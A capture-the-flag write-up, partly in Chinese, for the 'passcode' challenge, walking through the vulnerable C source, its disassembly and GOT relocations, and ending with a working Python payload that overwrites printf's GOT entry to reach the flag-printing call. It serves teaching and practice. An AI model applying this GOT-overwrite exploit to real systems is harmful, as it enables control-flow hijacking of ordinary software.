passcode

References

Question

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh [email protected] -p2222 (pw:guest)

Writeup

  • source code

    #include <stdio.h>
    #include <stdlib.h>
    
    void login(){
            int passcode1;
            int passcode2;
    
            printf("enter passcode1 : ");
            scanf("%d", passcode1);
            fflush(stdin);
    
            // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
            printf("enter passcode2 : ");
            scanf("%d", passcode2);
    
            printf("checking...\n");
            if(passcode1==338150 && passcode2==13371337){
                    printf("Login OK!\n");
                    system("/bin/cat flag");
            }
            else{
                    printf("Login Failed!\n");
                    exit(0);
            }
    }
    
    void welcome(){
            char name[100];
            printf("enter you name : ");
            scanf("%100s", name);
            printf("Welcome %s!\n", name);
    }
    
    int main(){
            printf("Toddler's Secure Login System 1.0 beta.\n");
    
            welcome();
            login();
    
            // something after login...
            printf("Now I can safely trust you that you have credential :)\n");
            return 0;
    }
    
    passcode@ubuntu:~$ ./passcode
    Toddler's Secure Login System 1.0 beta.
    enter you name : name
    Welcome name!
    enter passcode1 : 338150
    Segmentation fault
    
  • Source Code Analysis

    • fflush(stdin): 通常是為了確保不影響後面的數據讀取,例如在讀完一個字符串後緊接著又要讀取一個字符,此時應該先執行fflush(stdin)
    • scanf: 由於程式中的scanf都未使用取址(&),且passcode參數並未初始化。
    • name[]宣告為100 bytes,scanf也用%100s去讀
      char name[100];
      printf("enter you name : ");
      scanf("%100s", name);
      
  • Assembly Analysis
    • welcome() function:
      .text:08048609 var_70          = byte ptr -70h
      .text:08048609 var_C           = dword ptr -0Ch
      .text:08048609
      .text:08048609                 push    ebp
      .text:0804860A                 mov     ebp, esp
      .text:0804860C                 sub     esp, 88h
      .text:08048612                 mov     eax, large gs:14h
      .text:08048618                 mov     [ebp+var_C], eax
      .text:0804861B                 xor     eax, eax
      .text:0804861D                 mov     eax, offset aEnterYouName ; "enter you name : "
      .text:08048622                 mov     [esp], eax      ; format
      .text:08048625                 call    _printf
      .text:0804862A                 mov     eax, offset a100s ; "%100s"
      .text:0804862F                 lea     edx, [ebp+var_70]
      .text:08048632                 mov     [esp+4], edx
      .text:08048636                 mov     [esp], eax
      .text:08048639                 call    ___isoc99_scanf
      .text:0804863E                 mov     eax, offset aWelcomeS ; "Welcome %s!\n"
      .text:08048643                 lea     edx, [ebp+var_70]
      .text:08048646                 mov     [esp+4], edx
      .text:0804864A                 mov     [esp], eax      ; format
      .text:0804864D                 call    _printf
      .text:08048652                 mov     eax, [ebp+var_C]
      .text:08048655                 xor     eax, large gs:14h
      .text:0804865C                 jz      short locret_8048663
      .text:0804865E                 call    ___stack_chk_fail
      
      • 首先看welcome()name參數,是在ebp-70h上,大小100 bytes (0x64),所以最後位址是ebp-Ch (0x70-0x64)上
        .text:08048609 var_70          = byte ptr -70h
        .text:08048609 var_C           = dword ptr -0Ch
        
        .text:0804862F                 lea     edx, [ebp+var_70]
        
      • 使用了gs stack protection,因此當值被修改時,會觸發___stack_chk_fail
        .text:08048612                 mov     eax, large gs:14h
        and
        .text:08048655                 xor     eax, large gs:14h
        
    • login() function:
      .text:08048564 var_10          = dword ptr -10h
      .text:08048564 var_C           = dword ptr -0Ch
      .text:08048564
      .text:08048564                 push    ebp
      .text:08048565                 mov     ebp, esp
      .text:08048567                 sub     esp, 28h
      .text:0804856A                 mov     eax, offset format ; "enter passcode1 : "
      .text:0804856F                 mov     [esp], eax      ; format
      .text:08048572                 call    _printf
      .text:08048577                 mov     eax, offset aD  ; "%d"
      .text:0804857C                 mov     edx, [ebp+var_10]
      .text:0804857F                 mov     [esp+4], edx
      .text:08048583                 mov     [esp], eax
      .text:08048586                 call    ___isoc99_scanf
      .text:0804858B                 mov     eax, ds:stdin@@GLIBC_2_0
      .text:08048590                 mov     [esp], eax      ; stream
      .text:08048593                 call    _fflush
      .text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : "
      .text:0804859D                 mov     [esp], eax      ; format
      .text:080485A0                 call    _printf
      .text:080485A5                 mov     eax, offset aD  ; "%d"
      .text:080485AA                 mov     edx, [ebp+var_C]
      .text:080485AD                 mov     [esp+4], edx
      .text:080485B1                 mov     [esp], eax
      .text:080485B4                 call    ___isoc99_scanf
      .text:080485B9                 mov     dword ptr [esp], offset s ; "checking..."
      .text:080485C0                 call    _puts
      .text:080485C5                 cmp     [ebp+var_10], 528E6h
      .text:080485CC                 jnz     short loc_80485F1
      .text:080485CE                 cmp     [ebp+var_C], 0CC07C9h
      .text:080485D5                 jnz     short loc_80485F1
      .text:080485D7                 mov     dword ptr [esp], offset aLoginOk ; "Login OK!"
      .text:080485DE                 call    _puts
      .text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
      .text:080485EA                 call    _system
      .text:080485EF                 leave
      .text:080485F0                 retn
      
      • passcode1passcode2分別位於ebp-10hebp-Ch
        .text:08048564 var_10          = dword ptr -10h
        .text:08048564 var_C           = dword ptr -0Ch
        
        .text:0804857C                 mov     edx, [ebp+var_10]
        與
        .text:080485AA                 mov     edx, [ebp+var_C]
        
      • 可以發現name(0x70~0x0C)覆蓋到passcode1(0x10)的位址了,最後四個bytes剛好蓋到passcode1
      • 執行程式時,當輸入passcode1後,寫到了不該寫的位址,導致程式出錯,那要如何讓它可以寫到可寫的位址上呢?只要不讓它出錯就好了,這時就要利用寫入GOT了。
  • 查看GOT (Global Offset Tables),可使用readelf -r

    root@kali:~/CTF/pwnable# readelf -r passcode
    
    Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    08049ff0  00000606 R_386_GLOB_DAT    00000000   __gmon_start__
    0804a02c  00000b05 R_386_COPY        0804a02c   stdin@GLIBC_2.0
    
    Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804a000  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
    0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
    0804a008  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
    0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
    0804a010  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
    0804a014  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__
    0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
    0804a01c  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
    0804a020  00000907 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
    

    或使用objdump -R

    root@kali:~/CTF/pwnable# objdump -R passcode
    
    passcode:     file format elf32-i386
    
    DYNAMIC RELOCATION RECORDS
    OFFSET   TYPE              VALUE 
    08049ff0 R_386_GLOB_DAT    __gmon_start__
    0804a02c R_386_COPY        stdin@@GLIBC_2.0
    0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
    0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
    0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
    0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
    0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
    0804a014 R_386_JUMP_SLOT   __gmon_start__
    0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
    0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
    0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7
    
  • 接著只要寫入為fflush、printf或exit的位址,就不會出錯了,例如寫到printf,位址為0804a000
  • scanf輸入passcode1是直接取值當址用,所以可以輸入讀flag的位址,位址為080485E3,由於輸入格式是%d整數,這裡要轉成134514147
  • 最後payload為: python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '\n' + '134514147\n'" | ./passcode
    passcode@ubuntu:~$ python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '\n' + '134514147\n'" | ./passcode
    Toddler's Secure Login System 1.0 beta.
    enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
    Sorry mom.. I got confused about scanf usage :(
    enter passcode1 : Now I can safely trust you that you have credential :)
    

results matching ""

    No results matching ""